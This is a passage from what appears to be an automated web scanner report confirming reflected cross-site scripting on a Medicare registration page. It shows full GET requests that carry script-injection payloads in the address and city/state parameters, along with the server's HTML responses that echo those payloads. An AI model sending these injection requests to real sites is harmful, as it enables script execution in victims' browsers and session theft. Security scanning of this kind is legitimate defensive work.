obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="'"--></style></script><script>netsparker(0x000989)</script>" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET '"--></style></script><script>alert(0x0009A4)</script>
state GET 3
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1=3&address2=3&city='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0009A4)%3C/script%3E&state=3&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=00000jRtrVL2hupOTAIUoLCQRBC:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:24:26 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
<td height=25><input type="text" name="telephone" size="20" maxlength="20" value="3" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/spacer.gif" width="5" height="5" align="top" />Email:&nbsp;</td>
<td height=25><input type="text" name="email" size="50" maxlength="50" value="netsparker@example.com" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 1:&nbsp;</td>
<td height=25><input type="text" name="address1" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Address 2:&nbsp;</td>
<td height=25><input type="text" name="address2" size="30" maxlength="30" value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />City:&nbsp;</td>
<td height=25><input type="text" name="city" size="30" maxlength="30" value="'"--></style></script><script>netsparker(0x0009A4)</script>" /></td>
<td height=25>&nbsp;&nbsp;&nbsp;<img src="../images/required.gif" width="5" height="5" align="top" />State:&nbsp;</td>
<td height=25><input type="text" name="state" size="2" maxlength="2" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Zip:&nbsp;</td>
<td colspan="3" height=25><input type="text" name="zip" size="10" maxlength="10" value="3" /></td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Demo User ID:&nbsp;</td>
<td colspan="3"..
- /mss/home/RegisterJsp.jsp

/mss/home/RegisterJsp.jsp CONFIRMED

https://www.medicare-solution.com/mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system..

Parameters

Parameter Type Value
sMsg GET User Id already exists in the system. Please choose another one
currentcust GET N
firstname GET Smith
lastname GET Smith
companyname GET Smith
org_type GET 3
provider_type GET 3
provider_type_other GET 3
cms_contract GET 3
interest_yn GET Y
telephone GET 3
email GET netsparker@example.com
address1 GET 3
address2 GET 3
city GET 3
state GET '"--></style></script><script>alert(0x0009BA)</script>
zip GET 3
demouserid GET 3

Request

GET /mss/home/RegisterJsp.jsp?sMsg=User+Id+already+exists+in+the+system.+Please+choose+another+one&currentcust=N&firstname=Smith&lastname=Smith&companyname=Smith&org_type=3&provider_type=3&provider_type_other=3&cms_contract=3&interest_yn=Y&telephone=3&email=netsparker@example.com&address1=3&address2=3&city=3&state='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0009BA)%3C/script%3E&zip=3&demouserid=3 HTTP/1.1
Referer: https://www.medicare-solution.com/servlet/RegisterServlet
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.medicare-solution.com
Cookie: JSESSIONID=0000bzPxAWi9khD4sg1PehBW9Vq:-1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Mon, 02 May 2011 15:24:28 GMT
Content-Type: text/html;charset=ISO-8859-1
Server: Microsoft-IIS/6.0,WebSphere Application Server/6.0
Content-Language: en-US
Transfer-Encoding: chunked




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Medicare Solution Registration</title>
<style type="text/css">
<!--
body {
background-color: #CCCCCC;
margin-left: 0px;
margin-top: 3px;
margin-right: 0px;
margin-bottom: 0px;
}
-->
</style>
<link href="frontend.css" rel="stylesheet" type="text/css" />

<script language="JavaScript" src="../ssi/BasicValidation.js"></script>
<script language="JavaScript" src="../ssi/ExtraValidation.js"></script>
<script language="JavaScript">
function Moveit(obj)
{
document.register.demouserid.focus();
obj.focus();
obj.select();
return false;
}
function EditLogin() {
if (isFldEmpty(document.demologin.demouserid, "User Id"))
return false;
else if (isFldEmpty(document.demologin.demopwd, "Password"))
return false;
else
document.demologin.submit();
return true;
}
function ClearForm() {
document.demologin.demouserid.value = "";
document.demologin.demopwd.value = "";
document.register.firstname.value = "";
document.register.lastname.value = "";
document.register.companyname.value = "";
document.register.telephone.value = "";
document.register.email.value = "";
document.register.address1.value = "";
document.register.address2.value = "";
document.register.city.value = "";
document.register.state.value = "";
document.register.zip.value = "";
document.register.demouserid.value = "";
document.register.demopwd.value = "";
document.register.demoretypepwd.value = "";
doSelect(document.register.org_type,"");
doSelect(document.register.cms_contract,"");
doSelect(document.register.interest_yn,"");
doSelect(document.register.currentcust,"");
}
function EditRegFields() {
if(isSelectionEmpty(document.register.cms_contract, "Question 'Is your organization contracted with CMS now or in the future?'"))
{
return false;
}
if (isFldEmpty(document.register.firstname, "First Name"))
return false;
if (isFldEmpty(document.register.lastname, "Last Name"))
return false;
if (isFldEmpty(document.register.companyname, "Company Name"))
return false;
if(isSelectionEmpty(document.register.org_type, "Health Plan Type"))
return false;
if (isEmpty(document.register.telephone.value) && isEmpty(document.register.email.value)) {
alert("Either Phone or Email needs to be entered");
document.register.telephone.focus();
return false;
}
if (isWhitespace(document.register.telephone.value) && isWhitespace(document.register.email.value)) {
alert("Phone and Email cannot be both blank");
document.register.telephone.focus();
return false;
}
if (!isPhoneNumber(document.register.telephone))
return false;
if (!isEmpty(document.register.telephone.value))
{
if (!isEmail(document.register.email.value))
{
alert("Invalid Email Address");
return false;
}
}
if (isFldEmpty(document.register.city, "City"))
return false;
if (isFldEmpty(document.register.state, "State"))
return false;
if (isFldEmpty(document.register.demouserid, "Demo User Id"))
return false;
if (!ForceAlphaNumeric(document.register.demouserid, "Demo User Id"))
return false;
if (!isPassword(document.register.demopwd, "Demo Password"))
return false;
if (!isPassword(document.register.demoretypepwd, "Retype Password"))
return false;
if (document.register.demopwd.value != document.register.demoretypepwd.value) {
alert("Demo Password and Demo Password confirmation not matched");
document.register.demoretypepwd.focus();
return false;
}

document.register.submit();
return true;
}
function doGoBack() {
location.href = "OpenDemos.jsp";
}
</script>


</head>

<body onload="document.demologin.demouserid.focus()">
<div align="center">
<img src="images/header_wipro.jpg" width="950" height="58" />
<table width="950" height="33" border="0" cellpadding="0" cellspacing="0" class="navhome">
<tr>
<td width="30" height="32">&nbsp;</td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="Index.jsp">Home</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="about_us.jsp">About Us</a> </td>
<td><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="OpenDemos.jsp">Visitors</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="services.jsp">Our Services</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="contact_us.jsp">Contact Us</a> </td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td><a href="http://www.wipro.com">Wipro</a></td>
<td width="2"><img src="images/sep.gif" width="2" height="30" /></td>
<td width="30">&nbsp;</td>
</tr>
</table>

<table width="950" border="0" cellpadding="25" cellspacing="0" bgcolor="#FFFFFF" class="pages">
<tr>
<td valign="top"><span class="headings"><a name="registerJsp" id="registerJsp"></a></span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836"><strong class="serviceheaders"><a name="register" id="register"></a>Demonstration</strong><br />
<p>
If you have not registered yet, <a href="" onclick="return Moveit(document.register.currentcust);">Click here to create a Demo User ID and Register your profile</a>
</p>
<p>
If you have already registered with Medicare-Solution you can enter your Demo User ID and Password and
select the "Login" button to update your profile information.
</p>
</td>
</tr>
<tr>
<td>
<form name="demologin" action="/servlet/DemoLoginServlet" method="post" onsubmit="return EditLogin()">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="4"><span class="loginerrtx">User Id already exists in the system. Please choose another one</span></td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo User ID:</td>
<td width="25%" height=25><input type=text name=demouserid size=10 maxlength=10 value="3" /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td width="20%" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Demo Password:</td>
<td height=25><input type="password" name=demopwd value="" size=14 maxlength=14 /></td>
<td colspan="2" height=25>&nbsp;</td>
</tr>
<tr>
<td height=46>&nbsp;</td>
<td height=46><input type=submit value="Login" name=login /></td>
<td colspan="2" height=46>&nbsp;</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="836" colspan="2"><strong class="serviceheaders"><a name="medicare" id="medicare"></a>Medicare-Solution Registration</strong><br />
<p>
Welcome to Medicare-Solution, please enter all fields and select the "Register" button below.<br />
Required fields are flagged with a (<img src="../images/required.gif" width="5" height="5" align="middle" />).<br /><br />
</p>
</td>
</tr>
<tr>
<td>
<form name="register" action="/servlet/RegisterServlet" method="post">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Are you currently a Medicare-Solution Customer (Y/N)?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="currentcust">
<option value="N" selected>No</option>
<option value="Y" >Yes</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Do you wish to be contacted by Medicare Support Services?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="interest_yn">
<option value="Y" selected>Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr>
<td colspan="2" height=25><img src="../images/required.gif" width="5" height="5" align="top" />Is your organization contracted with CMS now or in the future?</td>
<td colspan="2" height=25>&nbsp;&nbsp;&nbsp;
<select name="cms_contract">
<option value=""></option>
<option value="Y" >Yes</option>
<option value="N" >No</option>
</select>
</td>
</tr>
<tr><td colspan="4">&nbsp;</td></tr>
<tr>
<td width="20%" height=25><img src="images/required.gif" width="5" height="5" align="top" />First Name:</td>
<td width="25%" height=25><input type="text" name="firstname" size="20" maxlength=20 value="Smith" /></td>
<td width="15%" height=25>&nbsp;&nbsp;&nbsp;<img src="images/required.gif" width="5" height="5" align="top" />Last Name:</td>
<td height=25><input type="text" name="lastname" size="20" maxlength=20 value="Smith" /></td>
</tr>
<tr>
<td width="25%" height=25><img src="images/required.gif" width="5" height="5" align="top" />Company Name:</td>
<td height=25><input type="text" name="companyname" size="20" maxlength=20 value="Smith" /></td>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td height=25><img src="../images/required.gif" width="5" height="5" align="top" />Health Plan Type:</td>
<td>
<select name="org_type">
<option value=""></option>
<option value="MAPD" >MAPD</option>
<option value="PDP" >PDP</option>
<option value="SNP" >SNP</option>
<option value="PACE" >PACE</option>
</select>
</td>
</tr>
<tr>
<td colspan="4" class="smallnote" height=25>
<center><img src="../images/required.gif" width="5" height="5" align="top" />
(Either a Telephone Number OR an Email Address is required)</center>
</td>
</tr>
<tr>
<td height=25><img src="../images/spacer.gif" width="5" height="5" align="top" />Phone:&nbsp;</td>
